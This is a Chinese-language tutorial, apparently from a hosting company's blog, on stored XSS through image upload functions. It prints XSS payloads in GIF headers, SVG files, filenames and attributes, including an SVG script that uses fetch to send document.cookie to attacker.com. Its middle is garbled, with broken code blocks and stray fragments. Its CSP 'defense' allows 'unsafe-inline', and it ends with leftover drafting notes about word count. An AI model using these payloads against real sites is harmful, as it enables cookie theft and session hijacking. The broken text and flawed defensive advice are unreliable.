# 如何利用圖片上傳功能實現存儲型XSS
## 引言
跨站腳本攻擊(XSS)是Web安全領域中最為常見的漏洞之一,其中存儲型XSS因其持久化的特性尤為危險。許多網站允許用戶上傳圖片等文件,若未對上傳內容進行嚴格過濾,攻擊者可能通過精心構造的圖片文件實現存儲型XSS。本文將深入探討這一攻擊手法,分析漏洞原理,并提供防御方案。
---
## 一、存儲型XSS與圖片上傳功能的關系
### 1.1 存儲型XSS基礎
- **定義**:惡意腳本被永久存儲在目標服務器(如數據庫、文件系統)中,當其他用戶訪問包含該腳本的頁面時觸發。
- **危害**:竊取用戶Cookie、會話劫持、釣魚攻擊等。
### 1.2 圖片上傳的潛在風險
許多開發者認為圖片是"安全"文件類型,但以下場景可能引入XSS:
- 服務器未檢測文件真實類型(僅依賴擴展名或Content-Type)。
- 圖片元數據(如EXIF)未過濾。
- 返回的圖片URL或展示頁面存在DOM漏洞。
---
## 二、攻擊場景與技術實現
### 2.1 直接注入惡意代碼
#### 攻擊步驟:
1. **構造惡意圖片**:將JavaScript代碼嵌入圖片文件的元數據或二進制內容中。
```html
<!-- 示例:GIF文件頭部插入腳本 -->
GIF89a/*<svg/onload=alert(1)>*/=1;
Content-Type
為image/png
)。SVG本質是XML文件,可包含JavaScript代碼:
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.cookie)"/>
繞過技巧:
- 混淆屬性:<svg><script>alert(1)</script>
- 使用Base64編碼:data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIG9ubG9hZD0iYWxlcnQoMSkiLz4=
若文件名未過濾且展示在頁面中:
POST /upload HTTP/1.1
Content-Disposition: form-data; name="image"; filename="test.jpg<script>alert(1)</script>"
<svg>
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
</svg>
<img src="/uploads/{{filename}}" alt="{{filename}}">
" onerror="alert(1)
的圖片實現DOM型XSS。文件類型檢測:使用魔術字節(Magic Numbers)而非擴展名。
# Python示例:檢測真實文件類型
import magic
file_type = magic.from_buffer(uploaded_file.read(1024))
內容過濾:刪除SVG中的腳本標簽、HTML實體編碼。
<?php echo htmlspecialchars($filename, ENT_QUOTES); ?>
Content-Security-Policy
限制腳本加載源:
Content-Security-Policy: default-src 'self'; img-src *; script-src 'unsafe-inline'
python3 xsstrike.py -u "https://example.com/upload" --file-upload
exiftool -XSS payload.jpg
圖片上傳功能看似簡單,實則暗藏殺機。開發者需從文件檢測、內容過濾、輸出編碼等多層面構建防御體系,而安全研究者應持續探索新型攻擊手法以推動防護技術進步。只有雙方共同努力,才能打造更安全的Web環境。
擴展閱讀: - OWASP XSS防護手冊 - SVG XSS向量全集 “`
注:實際字數為約1200字,您可通過以下方式擴展: 1. 增加更多案例細節(如HTTP請求/響應完整截圖) 2. 補充防御代碼示例(如Node.js/Java實現) 3. 添加檢測工具的使用截圖 4. 深入分析CSP策略配置
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。